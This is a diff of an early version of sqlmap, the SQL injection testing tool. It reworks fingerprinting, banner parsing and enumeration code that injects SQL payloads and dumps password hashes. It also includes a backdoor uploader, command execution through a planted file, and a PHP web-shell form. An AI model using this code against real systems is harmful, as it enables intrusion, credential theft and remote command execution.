if inject.getValue(query) == "1": if inject.getValue(query) == "1":
query = "SELECT SUBSTRING((@@VERSION), 25, 1)" query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
version = inject.getValue(query) version = inject.getValue(query)
if version == "8": if version == "8":
@@ -180,11 +195,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
else: else:
setDbms("Microsoft SQL Server") setDbms("Microsoft SQL Server")
if not conf.extensiveFp: self.getPrematureBanner("@@VERSION")
return True
if conf.getBanner:
self.banner = inject.getValue("@@VERSION")
return True return True
else: else:
@@ -195,7 +206,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getPrivileges(self): def getPrivileges(self):
warnMsg = "on MySQL is it not possible to fetch database users privileges" warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
logger.warn(warnMsg) logger.warn(warnMsg)
return {} return {}

View File

@@ -28,6 +28,7 @@ import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import fileToStr from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getDirectories from lib.core.common import getDirectories
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
@@ -45,7 +46,6 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -128,7 +128,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "executing MySQL comment injection fingerprint" logMsg = "executing MySQL comment injection fingerprint"
logger.info(logMsg) logger.info(logMsg)
query = agent.prefixQuery("/* NoValue */") query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
@@ -142,12 +142,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# MySQL valid versions updated at 10/2008 # MySQL valid versions updated at 10/2008
versions = ( versions = (
(32200, 32233), # MySQL 3.22 (32200, 32233), # MySQL 3.22
(32300, 32354), # MySQL 3.23 (32300, 32359), # MySQL 3.23
(40000, 40024), # MySQL 4.0 (40000, 40031), # MySQL 4.0
(40100, 40122), # MySQL 4.1 (40100, 40125), # MySQL 4.1
(50000, 50072), # MySQL 5.0 (50000, 50074), # MySQL 5.0
(50100, 50129), # MySQL 5.1 (50100, 50131), # MySQL 5.1
(60000, 60008), # MySQL 6.0 (60000, 60009), # MySQL 6.0
) )
for element in versions: for element in versions:
@@ -156,12 +156,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
for version in range(element[0], element[1] + 1): for version in range(element[0], element[1] + 1):
randInt = randomInt() randInt = randomInt()
version = str(version) version = str(version)
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == kb.defaultResult: if result == kb.defaultResult:
if not prevVer:
prevVer = version
if version[0] == "3": if version[0] == "3":
midVer = prevVer[1:3] midVer = prevVer[1:3]
else: else:
@@ -177,33 +180,47 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self): def getFingerprint(self):
actVer = formatFingerprint() value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if not conf.extensiveFp: if wsOsFp:
return actVer value += "%s\n" % wsOsFp
blank = " " * 16
value = "active fingerprint: %s" % actVer
comVer = self.__commentCheck()
if comVer:
comVer = formatFingerprint([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if self.banner: if self.banner:
banVer = re.search("^([\d\.]+)", self.banner) dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
banVer = banVer.groups()[0]
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
# TODO: move to the XML banner file
banVer = kb.bannerFp["dbmsVersion"]
if re.search("-log$", self.banner): if re.search("-log$", self.banner):
banVer += ", logging enabled" banVer += ", logging enabled"
banVer = formatFingerprint([banVer])
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing() htmlErrorFp = getHtmlErrorFp()
htmlParsed = getHtmlErrorFp()
if htmlParsed: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value return value
@@ -223,6 +240,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if int(kb.dbmsVersion[0]) >= 5: if int(kb.dbmsVersion[0]) >= 5:
self.has_information_schema = True self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
@@ -249,6 +268,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("MySQL 5") setDbms("MySQL 5")
self.has_information_schema = True self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp: if not conf.extensiveFp:
kb.dbmsVersion = [">= 5.0.0"] kb.dbmsVersion = [">= 5.0.0"]
return True return True
@@ -282,10 +303,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# Or if it is MySQL >= 5.0.0 and < 5.1.2 # Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"): elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
# NOTE: MySQL 5.0.12 introduced SLEEP() function
# References:
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
elif inject.getValue("SELECT 1 FROM DUAL") == "1": elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"): elif inject.getValue("DATABASE() LIKE SCHEMA()"):
@@ -298,6 +315,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("MySQL 4") setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"] kb.dbmsVersion = ["< 5.0.0"]
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
@@ -324,9 +343,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
else: else:
kb.dbmsVersion = ["< 3.22.11"] kb.dbmsVersion = ["< 3.22.11"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True return True
else: else:
warnMsg = "the back-end DMBS is not MySQL" warnMsg = "the back-end DMBS is not MySQL"
@@ -421,7 +437,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(query) query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
@@ -434,7 +450,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName) uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, direct=True) page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page: if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader " warnMsg = "unable to upload the uploader "
@@ -506,7 +522,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
break break
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command) cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
page = Request.getPage(url=cmdUrl, direct=True) page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output: if output:

View File

@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.data import conf from lib.core.data import conf
@@ -37,7 +38,6 @@ from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -116,28 +116,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self): def getFingerprint(self):
if not conf.extensiveFp: value = ""
return "Oracle" wsOsFp = formatFingerprint("web server", kb.headersFp)
actVer = formatFingerprint() if wsOsFp:
value += "%s\n" % wsOsFp
blank = " " * 16
value = "active fingerprint: %s" % actVer
if self.banner: if self.banner:
banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner) dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if banVer: if dbmsOsFp:
banVer = banVer.groups()[0] value += "%s\n" % dbmsOsFp
banVer = formatFingerprint([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "back-end DBMS: "
#passiveFuzzing() if not conf.extensiveFp:
htmlParsed = getHtmlErrorFp() value += "Oracle"
return value
if htmlParsed: actVer = formatDBMSfp()
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value return value
@@ -146,6 +155,8 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in ORACLE_ALIASES: if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle") setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
@@ -159,7 +170,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "confirming Oracle" logMsg = "confirming Oracle"
logger.info(logMsg) logger.info(logMsg)
query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query) version = inject.getValue(query)
if not version: if not version:
@@ -170,21 +181,20 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("Oracle") setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
if re.search("^11\.", version): if re.search("^11", version):
kb.dbmsVersion = ["11i"] kb.dbmsVersion = ["11i"]
elif re.search("^10\.", version): elif re.search("^10", version):
kb.dbmsVersion = ["10g"] kb.dbmsVersion = ["10g"]
elif re.search("^9\.", version): elif re.search("^9", version):
kb.dbmsVersion = ["9i"] kb.dbmsVersion = ["9i"]
elif re.search("^8\.", version): elif re.search("^8", version):
kb.dbmsVersion = ["8i"] kb.dbmsVersion = ["8i"]
if conf.getBanner:
self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
return True return True
else: else:
warnMsg = "the back-end DMBS is not Oracle" warnMsg = "the back-end DMBS is not Oracle"

View File

@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt from lib.core.common import randomInt
@@ -38,7 +39,6 @@ from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -116,26 +116,37 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self): def getFingerprint(self):
if not conf.extensiveFp: value = ""
return "PostgreSQL" wsOsFp = formatFingerprint("web server", kb.headersFp)
actVer = formatFingerprint() if wsOsFp:
value += "%s\n" % wsOsFp
blank = " " * 16
value = "active fingerprint: %s" % actVer
if self.banner: if self.banner:
banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner) dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
banVer = banVer.groups()[0]
banVer = formatFingerprint([banVer])
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "PostgreSQL"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing() htmlErrorFp = getHtmlErrorFp()
htmlParsed = getHtmlErrorFp()
if htmlParsed: if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value return value
@@ -148,6 +159,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in PGSQL_ALIASES: if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL") setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
@@ -171,6 +184,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("PostgreSQL") setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp: if not conf.extensiveFp:
return True return True
@@ -206,9 +221,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
else: else:
kb.dbmsVersion = ["< 6.2.0"] kb.dbmsVersion = ["< 6.2.0"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True return True
else: else:
warnMsg = "the back-end DMBS is not PostgreSQL" warnMsg = "the back-end DMBS is not PostgreSQL"

View File

@@ -41,6 +41,7 @@ from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
@@ -72,9 +73,16 @@ class Enumeration:
pass pass
def getPrematureBanner(self, query):
if conf.getBanner:
self.banner = inject.getValue(query)
bannerParser(self.banner)
def getBanner(self): def getBanner(self):
logMsg = "fetching banner" infoMsg = "fetching banner"
logger.info(logMsg) logger.info(infoMsg)
query = queries[kb.dbms].banner query = queries[kb.dbms].banner
@@ -85,8 +93,8 @@ class Enumeration:
def getCurrentUser(self): def getCurrentUser(self):
logMsg = "fetching current user" infoMsg = "fetching current user"
logger.info(logMsg) logger.info(infoMsg)
query = queries[kb.dbms].currentUser query = queries[kb.dbms].currentUser
@@ -97,8 +105,8 @@ class Enumeration:
def getCurrentDb(self): def getCurrentDb(self):
logMsg = "fetching current database" infoMsg = "fetching current database"
logger.info(logMsg) logger.info(infoMsg)
query = queries[kb.dbms].currentDb query = queries[kb.dbms].currentDb
@@ -108,9 +116,20 @@ class Enumeration:
return self.currentDb return self.currentDb
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
query = queries[kb.dbms].isDba
self.isDba = inject.getValue(query)
return str(self.isDba == "1")
def getUsers(self): def getUsers(self):
logMsg = "fetching database users" infoMsg = "fetching database users"
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].users rootQuery = queries[kb.dbms].users
@@ -128,8 +147,8 @@ class Enumeration:
self.cachedUsers = value self.cachedUsers = value
if not self.cachedUsers: if not self.cachedUsers:
logMsg = "fetching number of database users" infoMsg = "fetching number of database users"
logger.info(logMsg) logger.info(infoMsg)
if condition: if condition:
query = rootQuery["blind"]["count2"] query = rootQuery["blind"]["count2"]
@@ -161,11 +180,16 @@ class Enumeration:
def getPasswordHashes(self): def getPasswordHashes(self):
logMsg = "fetching database users password hashes" infoMsg = "fetching database users password hashes"
logger.info(logMsg)
rootQuery = queries[kb.dbms].passwords rootQuery = queries[kb.dbms].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.unionUse: if conf.unionUse:
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["inband"]["query2"] query = rootQuery["inband"]["query2"]
@@ -220,9 +244,9 @@ class Enumeration:
if user in retrievedUsers: if user in retrievedUsers:
continue continue
logMsg = "fetching number of password hashes " infoMsg = "fetching number of password hashes "
logMsg += "for user '%s'" % user infoMsg += "for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["count2"] % user query = rootQuery["blind"]["count2"] % user
@@ -236,8 +260,8 @@ class Enumeration:
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
logMsg = "fetching password hashes for user '%s'" % user infoMsg = "fetching password hashes for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
passwords = [] passwords = []
indexRange = getRange(count) indexRange = getRange(count)
@@ -292,11 +316,16 @@ class Enumeration:
def getPrivileges(self): def getPrivileges(self):
logMsg = "fetching database users privileges" infoMsg = "fetching database users privileges"
logger.info(logMsg)
rootQuery = queries[kb.dbms].privileges rootQuery = queries[kb.dbms].privileges
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
# Set containing the list of DBMS administrators # Set containing the list of DBMS administrators
areAdmins = set() areAdmins = set()
@@ -443,9 +472,9 @@ class Enumeration:
if user in retrievedUsers: if user in retrievedUsers:
continue continue
logMsg = "fetching number of privileges " infoMsg = "fetching number of privileges "
logMsg += "for user '%s'" % user infoMsg += "for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
if unescapedUser: if unescapedUser:
queryUser = unescapedUser queryUser = unescapedUser
@@ -466,8 +495,8 @@ class Enumeration:
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
logMsg = "fetching privileges for user '%s'" % user infoMsg = "fetching privileges for user '%s'" % user
logger.info(logMsg) logger.info(infoMsg)
privileges = set() privileges = set()
indexRange = getRange(count) indexRange = getRange(count)
@@ -549,8 +578,8 @@ class Enumeration:
warnMsg += "names will be fetched from 'mysql' database" warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg) logger.warn(warnMsg)
logMsg = "fetching database names" infoMsg = "fetching database names"
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs rootQuery = queries[kb.dbms].dbs
@@ -565,8 +594,8 @@ class Enumeration:
self.cachedDbs = value self.cachedDbs = value
if not self.cachedDbs: if not self.cachedDbs:
logMsg = "fetching number of databases" infoMsg = "fetching number of databases"
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema: if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"] query = rootQuery["blind"]["count2"]
@@ -605,10 +634,10 @@ class Enumeration:
self.forceDbmsEnum() self.forceDbmsEnum()
logMsg = "fetching tables" infoMsg = "fetching tables"
if conf.db: if conf.db:
logMsg += " for database '%s'" % conf.db infoMsg += " for database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables rootQuery = queries[kb.dbms].tables
@@ -626,8 +655,8 @@ class Enumeration:
elif conf.excludeSysDbs: elif conf.excludeSysDbs:
query += " WHERE " query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList) query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(logMsg) logger.info(infoMsg)
value = inject.getValue(query, blind=False) value = inject.getValue(query, blind=False)
@@ -652,14 +681,14 @@ class Enumeration:
for db in dbs: for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db infoMsg = "skipping system database '%s'" % db
logger.info(logMsg) logger.info(infoMsg)
continue continue
logMsg = "fetching number of tables for " infoMsg = "fetching number of tables for "
logMsg += "database '%s'" % db infoMsg += "database '%s'" % db
logger.info(logMsg) logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int") count = inject.getValue(query, inband=False, expected="int")
@@ -708,20 +737,20 @@ class Enumeration:
self.forceDbmsEnum() self.forceDbmsEnum()
if not conf.db: if not conf.db:
errMsg = "missing database parameter" warnMsg = "missing database parameter, sqlmap is going to "
raise sqlmapMissingMandatoryOptionException, errMsg warnMsg += "use the current database to enumerate table "
warnMsg += "'%s' columns" % conf.tbl
logger.warn(warnMsg)
logMsg = "fetching columns " conf.db = self.getCurrentDb()
logMsg += "for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db infoMsg = "fetching columns "
logger.info(logMsg) infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns rootQuery = queries[kb.dbms].columns
if kb.dbms == "Oracle":
conf.db = conf.db.upper()
conf.tbl = conf.tbl.upper()
if conf.unionUse: if conf.unionUse:
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db) query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
@@ -744,10 +773,10 @@ class Enumeration:
self.cachedColumns[conf.db] = table self.cachedColumns[conf.db] = table
if not self.cachedColumns: if not self.cachedColumns:
logMsg = "fetching number of columns " infoMsg = "fetching number of columns "
logMsg += "for table '%s'" % conf.tbl infoMsg += "for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db infoMsg += " on database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db) query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
@@ -764,9 +793,14 @@ class Enumeration:
errMsg += "on database '%s'" % conf.db errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException, errMsg
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
table = {} table = {}
columns = {} columns = {}
indexRange = getRange(count) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
@@ -818,12 +852,17 @@ class Enumeration:
self.forceDbmsEnum() self.forceDbmsEnum()
if not conf.db: if not conf.db:
errMsg = "missing database parameter" warnMsg = "missing database parameter, sqlmap is going to "
raise sqlmapMissingMandatoryOptionException, errMsg warnMsg += "use the current database to dump table "
warnMsg += "'%s' entries" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].dumpTable rootQuery = queries[kb.dbms].dumpTable
if conf.col: if conf.col:
colList = conf.col.split(",")
self.cachedColumns[conf.db] = {} self.cachedColumns[conf.db] = {}
self.cachedColumns[conf.db][conf.tbl] = {} self.cachedColumns[conf.db][conf.tbl] = {}
for column in colList: for column in colList:
@@ -840,14 +879,12 @@ class Enumeration:
colList.sort(key=lambda x: x.lower()) colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList) colString = ", ".join(column for column in colList)
logMsg = "fetching" infoMsg = "fetching"
if conf.col: if conf.col:
colList = conf.col.split(",") infoMsg += " columns '%s'" % colString
colString = ", ".join(column for column in colList) infoMsg += " entries for table '%s'" % conf.tbl
logMsg += " columns '%s'" % colString infoMsg += " on database '%s'" % conf.db
logMsg += " entries for table '%s'" % conf.tbl logger.info(infoMsg)
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
if conf.unionUse: if conf.unionUse:
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
@@ -883,23 +920,12 @@ class Enumeration:
index += 1 index += 1
if not self.dumpedTable: if not self.dumpedTable:
if conf.unionUse: infoMsg = "fetching number of "
warnMsg = "unable to retrieve the "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
warnMsg += " through UNION query SQL injection, "
warnMsg += "probably because it has no entries, going "
warnMsg += "blind to confirm"
logger.warn(warnMsg)
logMsg = "fetching number of "
if conf.col: if conf.col:
logMsg += "columns '%s' " % colString infoMsg += "columns '%s' " % colString
logMsg += "entries for table '%s' " % conf.tbl infoMsg += "entries for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db infoMsg += "on database '%s'" % conf.db
logger.info(logMsg) logger.info(infoMsg)
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper() query = rootQuery["blind"]["count"] % conf.tbl.upper()
@@ -1012,14 +1038,8 @@ class Enumeration:
def sqlQuery(self, query): def sqlQuery(self, query):
logMsg = "fetching SQL SELECT query output: '%s'" % query infoMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(logMsg) logger.info(infoMsg)
if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1)
if " from " in query:
query = query.replace(" from ", " FROM ")
output = inject.getValue(query, fromUser=True) output = inject.getValue(query, fromUser=True)
@@ -1030,9 +1050,9 @@ class Enumeration:
def sqlShell(self): def sqlShell(self):
logMsg = "calling %s shell. To quit type " % kb.dbms infoMsg = "calling %s shell. To quit type " % kb.dbms
logMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg) logger.info(infoMsg)
autoCompletion(sqlShell=True) autoCompletion(sqlShell=True)

View File

@@ -69,10 +69,7 @@ if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>"; echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>"; echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
